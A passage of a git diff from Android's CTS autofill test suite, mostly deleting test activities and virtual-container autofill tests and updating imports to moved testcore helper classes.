-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testNot_null() {
-        assertThrows(IllegalArgumentException.class, () -> not(null));
-    }
-
-    @Test
-    public void testNot_invalidClass() {
-        assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
-    }
-
-    @Test
-    public void testNot_falseToTrue() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
-        assertThat(notValidator.isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testNot_trueToFalse() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
-        assertThat(notValidator.isValid(mValueFinder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
deleted file mode 100644
index 58fb45b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.widget.TextView;
-
-/**
- * Activity that handles VIEW action.
- */
-public class ViewActionActivity extends AbstractAutoFillActivity {
-
-    private static ViewActionActivity sInstance;
-
-    private static final String TAG = "ViewActionHandleActivity";
-    static final String ID_WELCOME = "welcome";
-    static final String DEFAULT_MESSAGE = "Welcome VIEW action handle activity";
-    private boolean mHasCustomBackBehavior;
-
-    enum ActivityCustomAction {
-        NORMAL_ACTIVITY,
-        FAST_FORWARD_ANOTHER_ACTIVITY,
-        TAP_BACK_WITHOUT_FINISH
-    }
-
-    public ViewActionActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        final Uri data = getIntent().getData();
-        ActivityCustomAction type = ActivityCustomAction.valueOf(data.getSchemeSpecificPart());
-
-        switch (type) {
-            case FAST_FORWARD_ANOTHER_ACTIVITY:
-                startSecondActivity();
-                break;
-            case TAP_BACK_WITHOUT_FINISH:
-                mHasCustomBackBehavior = true;
-                break;
-            case NORMAL_ACTIVITY:
-            default:
-                // no-op
-        }
-
-        TextView welcome = (TextView) findViewById(R.id.welcome);
-        welcome.setText(DEFAULT_MESSAGE);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    @Override
-    public void finish() {
-        super.finish();
-        mHasCustomBackBehavior = false;
-    }
-
-    @Override
-    public void onBackPressed() {
-        if (mHasCustomBackBehavior) {
-            moveTaskToBack(true);
-            return;
-        }
-        super.onBackPressed();
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    private void startSecondActivity() {
-        final Intent intent = new Intent(this, SecondActivity.class)
-                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
-        startActivity(intent);
-        finish();
-    }
-
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(DEFAULT_MESSAGE);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 5d03c03..1444e43 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -16,17 +16,21 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.ViewAttributesTestActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
 import android.view.autofill.AutofillValue;
 import android.widget.EditText;
 
-
 import androidx.annotation.IdRes;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
deleted file mode 100644
index 4003f78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-
-public class ViewAttributesTestActivity extends AbstractAutoFillActivity {
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.view_attribute_test_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
deleted file mode 100644
index a90b840..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.VirtualContainerView.Line;
-import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
-import android.graphics.Canvas;
-import android.os.Bundle;
-import android.text.InputType;
-import android.widget.EditText;
-
-/**
- * A custom activity that uses {@link Canvas} to draw the following fields:
- *
- * <ul>
- *   <li>Username
- *   <li>Password
- * </ul>
- */
-public class VirtualContainerActivity extends AbstractAutoFillActivity {
-
-    static final String BLANK_VALUE = "        ";
-    static final String INITIAL_URL_BAR_VALUE = "ftp://dev.null/4/8/15/16/23/42";
-
-    EditText mUrlBar;
-    EditText mUrlBar2;
-    VirtualContainerView mCustomView;
-
-    Line mUsername;
-    Line mPassword;
-
-    private FillExpectation mExpectation;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.virtual_container_activity);
-
-        mUrlBar = findViewById(R.id.my_url_bar);
-        mUrlBar2 = findViewById(R.id.my_url_bar2);
-        mCustomView = findViewById(R.id.virtual_container_view);
-
-        mUrlBar.setText(INITIAL_URL_BAR_VALUE);
-        mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE,
-                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
-        mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE,
-                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
-    }
-
-    /**
-     * Triggers manual autofill in a given line.
-     */
-    void requestAutofill(Line line) {
-        getAutofillManager().requestAutofill(mCustomView, line.text.id, line.bounds);
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-        mUsername.setTextChangedListener(mExpectation.ccUsernameWatcher);
-        mPassword.setTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.ccUsernameWatcher.assertAutoFilled();
-        mExpectation.ccPasswordWatcher.assertAutoFilled();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeLineWatcher ccUsernameWatcher;
-        private final OneTimeLineWatcher ccPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            ccUsernameWatcher = mUsername.new OneTimeLineWatcher(username);
-            ccPasswordWatcher = mPassword.new OneTimeLineWatcher(password);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
deleted file mode 100644
index 1ba98d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.InstrumentedAutoFillServiceCompatMode.SERVICE_NAME;
-import static android.autofillservice.cts.InstrumentedAutoFillServiceCompatMode.SERVICE_PACKAGE;
-import static android.autofillservice.cts.VirtualContainerActivity.INITIAL_URL_BAR_VALUE;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR2;
-import static android.provider.Settings.Global.AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.AutofillOptions;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-import com.android.compatibility.common.util.SettingsUtils;
-
-import org.junit.After;
-import org.junit.ClassRule;
-import org.junit.Test;
-
-/**
- * Test case for an activity containing virtual children but using the A11Y compat mode to implement
- * the Autofill APIs.
- */
-public class VirtualContainerActivityCompatModeTest extends VirtualContainerActivityTest {
-
-    @ClassRule
-    public static final SettingsStateChangerRule sCompatModeChanger = new SettingsStateChangerRule(
-            sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-            SERVICE_PACKAGE + "[my_url_bar]");
-
-    public VirtualContainerActivityCompatModeTest() {
-        super(true);
-    }
-
-    @After
-    public void resetCompatMode() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-    }
-
-    @Override
-    protected void preActivityCreated() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-    }
-
-    @Override
-    protected void postActivityLaunched() {
-        // Set our own compat mode as well..
-        mActivity.mCustomView.setCompatMode(true);
-    }
-
-    @Override
-    protected void enableService() {
-        Helper.enableAutofillService(getContext(), SERVICE_NAME);
-    }
-
-    @Override
-    protected void disableService() {
-        Helper.disableAutofillService(getContext());
-    }
-
-    @Override
-    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
-        assertTextIsSanitized(urlBar);
-        assertThat(urlBar.getWebDomain()).isEqualTo("dev.null");
-        assertThat(urlBar.getWebScheme()).isEqualTo("ftp");
-    }
-
-    @Test
-    public void testMultipleUrlBars_firstDoesNotExist() throws Exception {
-        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-                SERVICE_PACKAGE + "[first_am_i,my_url_bar]");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .build());
-
-        // Trigger autofill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-
-        assertUrlBarIsSanitized(urlBar);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testMultipleUrlBars_bothExist() throws Exception {
-        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-                SERVICE_PACKAGE + "[my_url_bar,my_url_bar2]");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .build());
-
-        // Trigger autofill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-        final ViewNode urlBar2 = findNodeByResourceId(request.structure, ID_URL_BAR2);
-
-        assertUrlBarIsSanitized(urlBar);
-        assertTextIsSanitized(urlBar2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testFocusOnUrlBarIsIgnored() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.requestFocus());
-
-        // Must force sleep, as there is no callback that we can wait upon.
-        SystemClock.sleep(Timeouts.FILL_TIMEOUT.ms());
-
-        sReplier.assertNoUnhandledFillRequests();
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeIgnoredWhenServiceCanSave() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save.
-        // TODO(b/76220569): ideally, save should be triggered by calling:
-        //
-        // setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
-        //
-        // But unfortunately that's not always working due to flakiness on showing the UI, hence
-        // we're forcing commit - after all, the point here is the the URL update above didn't
-        // cancel the session (which is the case on
-        // testUrlBarChangeCancelSessionWhenServiceCannotSave()
-        mActivity.getAutofillManager().commit();
-
-        // Assert UI is showing.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        final ViewNode urlBar = findNodeByResourceId(saveRequest.structure, ID_URL_BAR);
-
-        assertTextAndValue(username, "foo");
-        assertTextAndValue(password, "bar");
-        // Make sure it's the URL bar from initial session.
-        assertTextAndValue(urlBar, INITIAL_URL_BAR_VALUE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeCancelSessionWhenServiceCannotSave() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, "dude")
-                    .setField(ID_PASSWORD, "sweet")
-                    .setPresentation(createPresentation("The Dude"))
-                    .build())
-                // there's no SaveInfo here
-                .build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save...
-        mActivity.getAutofillManager().commit();
-
-        // ... should not be triggered because the session was already canceled...
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeCancelSessionWhenServiceReturnsNullResponse() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-        focusToPasswordExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save...
-        mActivity.getAutofillManager().commit();
-
-        // ... should not be triggered because the session was already canceled...
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
deleted file mode 100644
index 4cdf811..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ /dev/null
@@ -1,808 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR;
-import static android.autofillservice.cts.VirtualContainerView.LABEL_CLASS;
-import static android.autofillservice.cts.VirtualContainerView.TEXT_CLASS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.VirtualContainerView.Line;
-import android.autofillservice.cts.VirtualContainerView.VisibilityIntegrationMode;
-import android.graphics.Rect;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.text.InputType;
-import android.view.ViewGroup;
-import android.view.autofill.AutofillManager;
-
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Test case for an activity containing virtual children, either using the explicit Autofill APIs
- * or Compat mode.
- */
-public class VirtualContainerActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<VirtualContainerActivity> {
-
-    // TODO(b/74256300): remove when fixed it :-)
-    private static final boolean BUG_74256300_FIXED = false;
-
-    private final boolean mCompatMode;
-    private AutofillActivityTestRule<VirtualContainerActivity> mActivityRule;
-    protected VirtualContainerActivity mActivity;
-
-    public VirtualContainerActivityTest() {
-        this(false);
-    }
-
-    protected VirtualContainerActivityTest(boolean compatMode) {
-        mCompatMode = compatMode;
-    }
-
-    /**
-     * Hook for subclass to customize test before activity is created.
-     */
-    protected void preActivityCreated() {}
-
-    /**
-     * Hook for subclass to customize activity after it's launched.
-     */
-    protected void postActivityLaunched() {}
-
-    @Override
-    protected AutofillActivityTestRule<VirtualContainerActivity> getActivityRule() {
-        if (mActivityRule == null) {
-            mActivityRule = new AutofillActivityTestRule<VirtualContainerActivity>(
-                    VirtualContainerActivity.class) {
-                @Override
-                protected void beforeActivityLaunched() {
-                    preActivityCreated();
-                }
-
-                @Override
-                protected void afterActivityLaunched() {
-                    mActivity = getActivity();
-                    postActivityLaunched();
-                }
-            };
-
-        }
-        return mActivityRule;
-    }
-
-    @Test
-    public void testAutofillSync() throws Exception {
-        autofillTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillSync() is enough")
-    public void testAutofillAsync() throws Exception {
-        skipTestOnCompatMode();
-
-        autofillTest(false);
-    }
-
-    @Test
-    public void testAutofill_appContext() throws Exception {
-        mActivity.mCustomView.setAutofillManager(mActivity.getApplicationContext());
-        autofillTest(true);
-        // Validation check to make sure autofill is enabled in the application context
-        assertThat(mActivity.getApplicationContext().getSystemService(AutofillManager.class)
-                .isEnabled()).isTrue();
-    }
-
-    /**
-     * Focus to username and expect window event
-     */
-    void focusToUsername() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.mUsername.changeFocus(true));
-    }
-
-    /**
-     * Focus to username and expect no autofill window event
-     */
-    void focusToUsernameExpectNoWindowEvent() throws Throwable {
-        // TODO: should use waitForWindowChange() if we can filter out event of app Activity itself.
-        mActivityRule.runOnUiThread(() -> mActivity.mUsername.changeFocus(true));
-    }
-
-    /**
-     * Focus to password and expect window event
-     */
-    void focusToPassword() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.mPassword.changeFocus(true));
-    }
-
-    /**
-     * Focus to password and expect no autofill window event
-     */
-    void focusToPasswordExpectNoWindowEvent() throws Throwable {
-        // TODO should use waitForWindowChange() if we can filter out event of app Activity itself.
-        mActivityRule.runOnUiThread(() -> mActivity.mPassword.changeFocus(true));
-    }
-
-    /**
-     * Tests autofilling the virtual views, using the sync / async version of ViewStructure.addChild
-     */
-    private void autofillTest(boolean sync) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-        mActivity.mCustomView.setSync(sync);
-
-        // Trigger auto-fill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Play around with focus to make sure picker is properly drawn.
-        if (BUG_74256300_FIXED || !mCompatMode) {
-            focusToPassword();
-            assertDatasetShown(mActivity.mPassword, "SWEET");
-
-            focusToUsername();
-            assertDatasetShown(mActivity.mUsername, "DUDE");
-        }
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-        final ViewNode usernameLabel = findNodeByResourceId(request.structure, ID_USERNAME_LABEL);
-        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
-        final ViewNode passwordLabel = findNodeByResourceId(request.structure, ID_PASSWORD_LABEL);
-        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
-
-        assertUrlBarIsSanitized(urlBar);
-        assertTextIsSanitized(username);
-        assertTextIsSanitized(password);
-        assertLabel(usernameLabel, "Username");
-        assertLabel(passwordLabel, "Password");
-
-        assertThat(usernameLabel.getClassName()).isEqualTo(LABEL_CLASS);
-        assertThat(username.getClassName()).isEqualTo(TEXT_CLASS);
-        assertThat(passwordLabel.getClassName()).isEqualTo(LABEL_CLASS);
-        assertThat(password.getClassName()).isEqualTo(TEXT_CLASS);
-
-        assertThat(username.getIdEntry()).isEqualTo(ID_USERNAME);
-        assertThat(password.getIdEntry()).isEqualTo(ID_PASSWORD);
-
-        assertThat(username.getInputType())
-                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
-        assertThat(usernameLabel.getInputType()).isEqualTo(0);
-        assertThat(password.getInputType())
-                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
-        assertThat(passwordLabel.getInputType()).isEqualTo(0);
-
-        final String[] autofillHints = username.getAutofillHints();
-        final boolean hasCompatModeFlag = (request.flags
-                & android.service.autofill.FillRequest.FLAG_COMPATIBILITY_MODE_REQUEST) != 0;
-        if (mCompatMode) {
-            assertThat(hasCompatModeFlag).isTrue();
-            assertThat(autofillHints).isNull();
-            assertThat(username.getHtmlInfo()).isNull();
-            assertThat(password.getHtmlInfo()).isNull();
-        } else {
-            assertThat(hasCompatModeFlag).isFalse();
-            // Make sure order is preserved and dupes not removed.
-            assertThat(autofillHints).asList()
-                    .containsExactly("c", "a", "a", "b", "a", "a")
-                    .inOrder();
-            try {
-                VirtualContainerView.assertHtmlInfo(username);
-                VirtualContainerView.assertHtmlInfo(password);
-            } catch (AssertionError | RuntimeException e) {
-                dumpStructure("HtmlInfo failed", request.structure);
